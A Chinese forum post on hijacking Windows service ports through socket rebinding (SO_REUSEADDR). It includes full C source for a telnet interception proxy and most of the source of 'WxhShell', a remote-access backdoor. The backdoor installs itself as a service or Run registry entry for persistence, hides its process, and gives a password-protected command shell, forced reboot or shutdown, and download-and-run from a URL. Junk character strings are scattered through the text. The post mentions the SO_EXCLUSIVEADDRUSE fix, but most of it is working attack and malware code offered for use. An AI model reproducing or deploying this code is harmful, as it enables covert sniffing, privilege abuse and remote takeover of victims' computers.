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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T#;*I#A:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z:,!yU c  
> <[.  
  saddr.sin_family = AF_INET; r*xw\  
?4||L8j2^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <(lSNGv5N  
bM_(`]&*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `CUO!'U  
">^]^wa08  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >~8Df61o`  
b4OR`dd*J  
  这意味着什么?意味着可以进行如下的攻击: C+IE<=%F  
cr;`0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :iC\#i]6  
i*E`<9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ee?ZkU#@  
%*; 8m'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -L<Pm(v&  
hWe}(Ks  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  L#N.pd  
90v18k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O lIH0  
cf3c+.o  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f__WnW5h  
6?x{-Zj ^?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 vrDRSc6_  
uzA'D~)P  
  #include @z RB4d$  
  #include 4}FfHgpQ  
  #include ?pY!sG  
  #include    ==r|]~x  
  DWORD WINAPI ClientThread(LPVOID lpParam);   U2?gODh'  
  int main() VO6y9X"  
  { -$ft `Ih  
  WORD wVersionRequested; [\F,\  
  DWORD ret; Ox'.sq4  
  WSADATA wsaData; ^$ bhmJYT  
  BOOL val; 9\0 K%LL  
  SOCKADDR_IN saddr; $yK!Q)e:  
  SOCKADDR_IN scaddr; p~co!d.q/}  
  int err; d9( Sj?  
  SOCKET s;  e) (|  
  SOCKET sc; J8Db AB4X  
  int caddsize; [63;8l}  
  HANDLE mt; .ai9PsZ?V  
  DWORD tid;   :*nBo  
  wVersionRequested = MAKEWORD( 2, 2 ); ,99G2E v4c  
  err = WSAStartup( wVersionRequested, &wsaData ); =^M t#h."  
  if ( err != 0 ) { j06oAer 9  
  printf("error!WSAStartup failed!\n"); Z9^$jw]  
  return -1; jYZWf `X~  
  } v w;  
  saddr.sin_family = AF_INET; 9Q1GV>j>B  
   3%a37/|~y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :.Sc[UI0  
kl9z;(6p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); k| o,gcU  
  saddr.sin_port = htons(23); ![tI(TPq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v[ '5X  
  { c[7qnSH  
  printf("error!socket failed!\n"); dVfDS-v!  
  return -1; DyZ90]N  
  } r8.v0b"1  
  val = TRUE; #4u; `j"4=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zghm2{:`?g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qm8RRDG  
  { ufPQ~,.  
  printf("error!setsockopt failed!\n"); TZ2f-KI  
  return -1; B6o AW,3  
  } OK}"|:hrd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F# wa)XH  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'b,D;'v  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c y$$}  
|i8dI)b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Fgk/Ph3r  
  { %"2B1^o>  
  ret=GetLastError(); M(jH"u&f  
  printf("error!bind failed!\n"); 4UkLvL1x  
  return -1; VA.1J BQ  
  } }6N|+z.cU  
  listen(s,2); L]}|{< 3\  
  while(1) G9q0E|  
  { ?J ?!%Mw  
  caddsize = sizeof(scaddr); K gX)fj  
  //接受连接请求 n9Yk;D2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2ZeL  
  if(sc!=INVALID_SOCKET) K_}a cU  
  { LsV"h<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k:xV[9ev:  
  if(mt==NULL) Akf9nT  
  { 9=f'sqIPV  
  printf("Thread Creat Failed!\n"); Nj\WvKG  
  break; vGw}e&YI  
  } p]oo^  
  } s q KkTG3  
  CloseHandle(mt); s_TM!LRUcw  
  } oJ+$&P(  
  closesocket(s); 1P_bG47  
  WSACleanup(); 5 S& >9l  
  return 0; _K>m9Q2  
  }   <-pbLL9  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8hg(6 XUG  
  { (~oPr+d  
  SOCKET ss = (SOCKET)lpParam; Z}wAh|N-  
  SOCKET sc; VJaL$Wv)H  
  unsigned char buf[4096]; wSMgBRV#^  
  SOCKADDR_IN saddr; CHB{P\WF  
  long num; bJD"&h5  
  DWORD val; HvTQycG  
  DWORD ret; WXL.D_=+  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V'$ eun  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4J1Q])G9  
  saddr.sin_family = AF_INET; fZO /HzX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L8 J/GVmj  
  saddr.sin_port = htons(23); }2@$2YR[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CmZ?uo+Y  
  { s>X;m.<  
  printf("error!socket failed!\n"); .Yx. Lm}  
  return -1; s@|?N+z  
  } W>y_q  
  val = 100; KI{u:Lbi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \=<.0K A~  
  { 6>Y}2fT}o3  
  ret = GetLastError(); iC]}M  
  return -1; &.,OvVAo  
  } W8^gPW*c5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tWFJx}H  
  { |7-tUHMo[  
  ret = GetLastError(); q.7CPm+  
  return -1; ^ytd~iK8  
  } ?H`LrL/k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N\?iU8w=  
  { Y>+D\|%Q  
  printf("error!socket connect failed!\n"); BR=Yte /  
  closesocket(sc); /Kvb$]F+!  
  closesocket(ss); o%.cQo=v*  
  return -1; Ow I?(ruL'  
  } 9[! Hz)|X  
  while(1) e_TM#J(3  
  { ".u?-xcbJ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9maw+c!~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gyK"#-/_d  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 f2=s{0SX0  
  num = recv(ss,buf,4096,0); M: 6 cma5  
  if(num>0) QbWD&8T0O  
  send(sc,buf,num,0); &,/T<V  
  else if(num==0) @'<|B. f  
  break; n7G$gLX  
  num = recv(sc,buf,4096,0); a_yV*N`D  
  if(num>0) [I9d  
  send(ss,buf,num,0); }bVyvH  
  else if(num==0) SZPu"O\  
  break; ?r+tU  
  } 9HE)!Col  
  closesocket(ss); 9`muk  
  closesocket(sc);  ;P_Zen  
  return 0 ; jd{J3s '%  
  } ]~P?  
4)ISRR  
*;m721#  
========================================================== R Mm`<:H_  
|z~?"F6 Y<  
下边附上一个代码,,WXhSHELL :97`IV%  
x>@UqUJV  
========================================================== o kYsjK5  
 JeA}d  
#include "stdafx.h" %lPP1 R  
DM&"oa50  
#include <stdio.h> ZBGI_9wZ  
#include <string.h> oAL-v428  
#include <windows.h> JTC&_6  
#include <winsock2.h> TCEbz8ql  
#include <winsvc.h> P7o6B,9  
#include <urlmon.h> F ;D_zo?  
V)`? J)  
#pragma comment (lib, "Ws2_32.lib") _#_Ab8#  
#pragma comment (lib, "urlmon.lib") cZYX[.oIB  
#k6;~  
#define MAX_USER   100 // 最大客户端连接数 X[w9~t$\  
#define BUF_SOCK   200 // sock buffer $lqV(s  
#define KEY_BUFF   255 // 输入 buffer jmIP c3O0  
'e*C^(6  
#define REBOOT     0   // 重启 >i~c>+R  
#define SHUTDOWN   1   // 关机 0kkiS 3T  
_D:/?=y;e  
#define DEF_PORT   5000 // 监听端口 5v3B8 @CsA  
!|!V}O  
#define REG_LEN     16   // 注册表键长度 $`  
#define SVC_LEN     80   // NT服务名长度 Rz)#VVYC=  
"$)2|  
// 从dll定义API & mWq'h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YS]RG/'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oe273Y^e  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,wV2ZEW}e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %vksN$^  
$W09nz9?  
// wxhshell配置信息 li{_biey}  
struct WSCFG { y8L:nnSj  
  int ws_port;         // 监听端口 ^j` vk  
  char ws_passstr[REG_LEN]; // 口令 k@2gw]y"  
  int ws_autoins;       // 安装标记, 1=yes 0=no I#0.72:[  
  char ws_regname[REG_LEN]; // 注册表键名 Z-Uq89[HZ  
  char ws_svcname[REG_LEN]; // 服务名 GgtL./m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 WO{N@f^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T \AuL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 arB$&s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zumRbrz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M3Z yf  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6k[u0b`  
S `[8TZ  
}; aX|`G]PhdI  
uC3$iY:_e  
// default Wxhshell configuration 6/z}-;,W'  
struct WSCFG wscfg={DEF_PORT, 'L,rJ =M3  
    "xuhuanlingzhe", ReRRFkO"2  
    1, }PXWRv.gW  
    "Wxhshell", f|`{P P`\  
    "Wxhshell", YGHWO#!Gp  
            "WxhShell Service", 2PC4EjkC  
    "Wrsky Windows CmdShell Service", f 6q@  
    "Please Input Your Password: ", \u*,~J)z  
  1, !y),| #7P  
  "http://www.wrsky.com/wxhshell.exe", %:y-"m1\u$  
  "Wxhshell.exe" YMWy5 \  
    }; h{m]n!  
pM=vW{"I/  
// 消息定义模块 2::T,Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @iaN@`5I6s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N>~*Jp2;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fSTEZH  
char *msg_ws_ext="\n\rExit."; nuQ"\ G  
char *msg_ws_end="\n\rQuit."; ijTtyTC  
char *msg_ws_boot="\n\rReboot..."; M *}$$Fe|  
char *msg_ws_poff="\n\rShutdown..."; =_XcG!"  
char *msg_ws_down="\n\rSave to "; 1#@'U90xf  
 }QI*Ns  
char *msg_ws_err="\n\rErr!"; `A'*x]l  
char *msg_ws_ok="\n\rOK!"; X#o:-FKf  
ABSeX  
char ExeFile[MAX_PATH]; A=])pYE1  
int nUser = 0; 8RK\B%UW  
HANDLE handles[MAX_USER]; QdRMp n}q  
int OsIsNt; Y7p#K<y]9  
0I k@d'7  
SERVICE_STATUS       serviceStatus; s?2;u p*D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KyDBCCOv  
xs:{%ki  
// 函数声明 R0|X;3  
int Install(void); FYj3! H  
int Uninstall(void); we@bq,\w  
int DownloadFile(char *sURL, SOCKET wsh); ]_Qc}pMF&  
int Boot(int flag); YlA=? X  
void HideProc(void); Bm?Ku7}.  
int GetOsVer(void); 9qPP{K,Pq2  
int Wxhshell(SOCKET wsl); X6;aF ;"5  
void TalkWithClient(void *cs); Y~CS2%j  
int CmdShell(SOCKET sock); EKt-C_)U  
int StartFromService(void); eDm,8Se  
int StartWxhshell(LPSTR lpCmdLine); ]gEfm~YV  
zbnQCLs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'FVT"M~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ia\Nj _-%L  
OJK/>  
// 数据结构和表定义 +VeLd+Q}  
SERVICE_TABLE_ENTRY DispatchTable[] = crT[;w  
{ qm '$R3g  
{wscfg.ws_svcname, NTServiceMain}, NUU}8a(K  
{NULL, NULL} 9O)>>1}*S  
}; @@$ _TaI  
EZHEJW'JnE  
// 自我安装 cD>o(#x]  
int Install(void) {> }U>V  
{ ANNL7Z3C  
  char svExeFile[MAX_PATH]; upJishy&I  
  HKEY key;  [ ~E}x  
  strcpy(svExeFile,ExeFile); P-mrH  
i|| YD-hkK  
// 如果是win9x系统,修改注册表设为自启动 !F8 !]"*  
if(!OsIsNt) { ?-VN+ d7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &a:aW;^A7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N+tS:$V  
  RegCloseKey(key); {/Cd^CK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~)Z`Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g %Am[fb  
  RegCloseKey(key); M}vPWWcl  
  return 0; `+6HHtF  
    } A gPg0(G  
  } V+8+ 17^  
} w;_Ds  
else { NanU%# &  
W6PGv1iaW>  
// 如果是NT以上系统,安装为系统服务 hi=U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?( '%QfT  
if (schSCManager!=0) _PaO w%Y9  
{ Xu$*ZJ5w  
  SC_HANDLE schService = CreateService aZ^lI 6@+4  
  ( ^>" ?!lv  
  schSCManager, :b=0_<G  
  wscfg.ws_svcname, bcZonS  
  wscfg.ws_svcdisp, ob;oxJ@[c  
  SERVICE_ALL_ACCESS, %(]rc%ry0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <(^pHv7Q  
  SERVICE_AUTO_START, ,i|f8pZ  
  SERVICE_ERROR_NORMAL, e,BJD>N ?  
  svExeFile, G pd:k  
  NULL, bcYz?o6  
  NULL, 3)ip@29F  
  NULL, |j+~Td3})&  
  NULL, ieI-_]|[  
  NULL H~@h #6  
  ); YszhoHYh  
  if (schService!=0) :Ls36E8f=  
  { BpCSf.zZ  
  CloseServiceHandle(schService); 5J;c;PF  
  CloseServiceHandle(schSCManager); u|ZO"t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3LmHH =  
  strcat(svExeFile,wscfg.ws_svcname); oMPQkj;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +R_U  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X}yYBf/R`  
  RegCloseKey(key); \5Jv;gc\\  
  return 0; p .HA `R>  
    } `#ztp)&  
  } ~IXfID!8  
  CloseServiceHandle(schSCManager); jt3SA [cy  
} j{=%~  
} V6k9L*VP  
`et<Z  
return 1; *v9G#[gG  
} [>0r'-kI  
+M*a.ra0OF  
// 自我卸载 HL?pnT09  
int Uninstall(void) ,aJrN!fzU  
{ vEsSqzc  
  HKEY key; 2R!W5gs1<  
}FXRp=s  
if(!OsIsNt) { v^tKT&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { */)gk=x8  
  RegDeleteValue(key,wscfg.ws_regname); U`Zn*O~/  
  RegCloseKey(key); q~3&f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lySaJ d  
  RegDeleteValue(key,wscfg.ws_regname); NSq"\A\  
  RegCloseKey(key); -AE/,@\P  
  return 0; Ir'f((8:  
  } (0+m&, z  
} $W]bw#NH  
} Oc.>$  
else { H]e 2d|  
\a!<^|C&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {aSq3C<r  
if (schSCManager!=0) rXPXO=F1/  
{ S&*pR3,u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j66@E\dN  
  if (schService!=0) )B_h"5X4\y  
  { zvD5i,I  
  if(DeleteService(schService)!=0) { f/y K|[g~  
  CloseServiceHandle(schService); H4,yuV  
  CloseServiceHandle(schSCManager); )sHPIxHI  
  return 0; =m:W  
  } kQ8WO|bA  
  CloseServiceHandle(schService); tpN}9N  
  } UwU]l17~  
  CloseServiceHandle(schSCManager); UL%ihWq   
} F?B=:8,}  
} 3[0:,^a  
=S,<yQJ  
return 1; 9o`3g@6z  
} 7 SZR#L  
: +Kesa:E  
// 从指定url下载文件 0h#M)Ft  
int DownloadFile(char *sURL, SOCKET wsh) m!_ghD{5h  
{ W=?87PkJu  
  HRESULT hr; keOW{:^i  
char seps[]= "/"; ;Y\,2b, xh  
char *token; UZra'+Wb  
char *file; $w\, ."y  
char myURL[MAX_PATH]; In&vh9Lw  
char myFILE[MAX_PATH]; fsd>4t:" \  
.Q@"];wH  
strcpy(myURL,sURL); %Qq)=J<H ;  
  token=strtok(myURL,seps); Xdt+ \}\  
  while(token!=NULL) K }BX6dA  
  { w C"%b#(}  
    file=token; S41>VbtEp  
  token=strtok(NULL,seps); P{18crC[1  
  } DF2&j!  
"=.|QKC1`  
GetCurrentDirectory(MAX_PATH,myFILE);  ZsZ1  
strcat(myFILE, "\\"); Z.pw!mu"  
strcat(myFILE, file); Z&,}Fgl!F  
  send(wsh,myFILE,strlen(myFILE),0); 3;:V1_JA  
send(wsh,"...",3,0); ^q\zC%.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LS'=>s"  
  if(hr==S_OK) 0 ,-b %X  
return 0; 7p6J   
else JuSS5_&  
return 1; RZA\-?cO)  
@k<~`S~|  
} 3G^Ed)JvE  
*.g?y6d  
// 系统电源模块 \<**SSN  
int Boot(int flag) <J-Z;r(gQN  
{ QEa=!O  
  HANDLE hToken; #1@~w}Dh  
  TOKEN_PRIVILEGES tkp; VKz<7K\/  
hm>*eJNp]  
  if(OsIsNt) { Wh5O{G@Ut  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mNoqs&UB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %<yM=1~>  
    tkp.PrivilegeCount = 1; M7,MxwZ0k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >N-%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "6Uj:9  
if(flag==REBOOT) { i5Q<~;Z+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VhgEG(Ud  
  return 0; WmUW i{  
} A#&qoZ(C  
else { Ir #V2]$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zD<9A6AB  
  return 0; `g N68:B  
} N1~$ +  
  } "|`9{/]  
  else { X>7]g670@  
if(flag==REBOOT) { rJp6d :M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]bb}[#AY  
  return 0; \[1CDz=}1  
} r:4IKuTR  
else { E2'e}RQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZGhoV#T@  
  return 0; %+ a@|Z   
} mX@* 2I  
} y51D-vj  
E^a `IA  
return 1; QYXx7h r=$  
} c0q)  
4!vUksM  
// win9x进程隐藏模块 =@=R)C4f*  
void HideProc(void) } <4[(N  
{ NqE7[wH  
-Jo :+].  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Cnci%e o  
  if ( hKernel != NULL ) A5<Z&Y[  
  { lFGxW 5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FNCLGAiZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UQ])QTrZFi  
    FreeLibrary(hKernel); zB" `i  
  } EZQ+HECpK  
~PW}sN6ppG  
return; iCRw}[[  
} <<5 :zlb  
|!5T+H{Sj  
// 获取操作系统版本 9w;J7jgOT!  
int GetOsVer(void) :;q_f+U  
{ 1[g!^5W  
  OSVERSIONINFO winfo; Fi% W\Y'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~Z6p3# !o  
  GetVersionEx(&winfo); I S8nvx\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u;ooDIq@  
  return 1; Bye@5D  
  else =z1o}ga=EA  
  return 0; m$mY<Q  
} k5QD5/Ej  
m:f ouMS  
// 客户端句柄模块 124L3AG  
int Wxhshell(SOCKET wsl) ivz9R'  
{ {-N90Oe  
  SOCKET wsh; pkfOM"5'  
  struct sockaddr_in client; 2vdQ&H4  
  DWORD myID; *a,.E6C*  
|4> r"  
  while(nUser<MAX_USER) =#2qX> ?  
{ ^}/ E~Sg7\  
  int nSize=sizeof(client); W$Q)aA7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,9tbu!Pvq  
  if(wsh==INVALID_SOCKET) return 1; %_R|@cyD  
eO PCYyN  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k.xv+^b9Q  
if(handles[nUser]==0) Q=L$7   
  closesocket(wsh); maUHjI 5A-  
else }42qMOi#w1  
  nUser++;  vs])%l%t  
  } 7M#$: Fdb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NQiecxvt=  
l9NOzAH3  
  return 0; D7WI(j\  
}  ]RX tC*  
,C,e/>+My  
// 关闭 socket 2C33;?M  
void CloseIt(SOCKET wsh) M|5]#2J_2  
{ JlDDM %  
closesocket(wsh); 5 (21gW9  
nUser--; 4 ^~zN"6]  
ExitThread(0); r>:L$_]L  
} *- IlF]  
#"p1Qea$  
// 客户端请求句柄 5Jhbf2-  
void TalkWithClient(void *cs) ?+,*YVT  
{ RTgA[O4J  
^o6)[_L  
  SOCKET wsh=(SOCKET)cs; SXo[[ao  
  char pwd[SVC_LEN]; 3pTS@  
  char cmd[KEY_BUFF]; kV:FJx0xP  
char chr[1]; ;Ma/b=Y  
int i,j; F'>GN}n  
a j@C0  
  while (nUser < MAX_USER) { T5dUJR2k$  
$dZ>bXUw:  
if(wscfg.ws_passstr) { &.  =}g]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ELrZ8&5G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "gbnLKs  
  //ZeroMemory(pwd,KEY_BUFF); q?Ku}eID3  
      i=0; UC+7-y,  
  while(i<SVC_LEN) { `mKlv~$1^  
> 0Twr  
  // 设置超时 BsK|:MM]  
  fd_set FdRead; aFr!PQp4{  
  struct timeval TimeOut; vpeBQ=2\  
  FD_ZERO(&FdRead); 6a%:zgkOpu  
  FD_SET(wsh,&FdRead); -_EY$ ?4  
  TimeOut.tv_sec=8; )`s;~_ZZ  
  TimeOut.tv_usec=0; Cb )=n6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZO%fS'n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3KZ y H  
/nY).lSH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e>,9]{N+$  
  pwd=chr[0]; 9QOr,~~s  
  if(chr[0]==0xd || chr[0]==0xa) { h8#5vO2  
  pwd=0; dE5 5  
  break; ~~xyFT+{F  
  } lRv#1'Y  
  i++; X"TUe>cM  
    } Sqdc1zC  
z{`6#  
  // 如果是非法用户,关闭 socket zJfK4o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B-\,2rCCZ  
} OK M\"A4  
d DIQ+/mmg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ! v-w6WG"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K9C@dvFH  
H b A3*2  
while(1) { = GH@.3`X  
H]tSb//qc  
  ZeroMemory(cmd,KEY_BUFF); N#RD:"RS!  
"GwWu-GS  
      // 自动支持客户端 telnet标准   b(|%Gbg@c  
  j=0; 7wiK.99  
  while(j<KEY_BUFF) { Q\o$**+{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pYLY;qkG"  
  cmd[j]=chr[0]; Mt[Bq6}ZD  
  if(chr[0]==0xa || chr[0]==0xd) { P1 7>6)a  
  cmd[j]=0; ;Na8 _}  
  break; ` $.X[\*U  
  } `z3|M#r\;  
  j++; $ DDSN  
    } -SQJH}zCT+  
/FP~jV!z  
  // 下载文件 d7W%zg\T  
  if(strstr(cmd,"http://")) { FX|0R#4vm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FylWbQU9  
  if(DownloadFile(cmd,wsh)) /'Qu u)~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *=$[}!YG  
  else /'&.aGW4%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wj&<"Z6'm(  
  } k_*XJ<S!Y  
  else { VO. -.  
Ynv9&P  
    switch(cmd[0]) { lFiq<3Nk  
  ->&BcPLn  
  // 帮助 ER~T'-YMS  
  case '?': { \#\`!L[1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3AdP^B<  
    break; x1 ;rb8  
  } &5kZ{,-eM  
  // 安装 @9_nwf~X4  
  case 'i': {  &7L~PZ  
    if(Install()) (MgL"8TS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ur/Oc24i1n  
    else 3E<aiGU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y\F`B0#$  
    break; d3EjI6R*z  
    } tSEA999  
  // 卸载 (@ %XWg  
  case 'r': { _L*f8e8  
    if(Uninstall()) #joF{ M{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2UU 2Vm_6  
    else +Fk4{p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b:fxkQm  
    break; n!UMU^  
    } 8`:M\*  
  // 显示 wxhshell 所在路径 #2Ac  
  case 'p': { yD"]{  
    char svExeFile[MAX_PATH]; s~'9Hv9  
    strcpy(svExeFile,"\n\r"); f*{M3"$E  
      strcat(svExeFile,ExeFile); -;+m%"k5  
        send(wsh,svExeFile,strlen(svExeFile),0); X!U]`Qh  
    break; _wm~}_Q  
    } McT\ R{/  
  // 重启 /\TQc-k?2  
  case 'b': { }7iUagN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  4]"a;(  
    if(Boot(REBOOT)) ..??O^   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #C"7 l6'a  
    else { f zLANya  
    closesocket(wsh); ,]f),;=  
    ExitThread(0); ?@_v,,|  
    } a4yOe*Ak,F  
    break; rU; g0'4e  
    } *mf}bTiS  
  // 关机 k!Vn4?B"k  
  case 'd': { &[NVP&9&U  
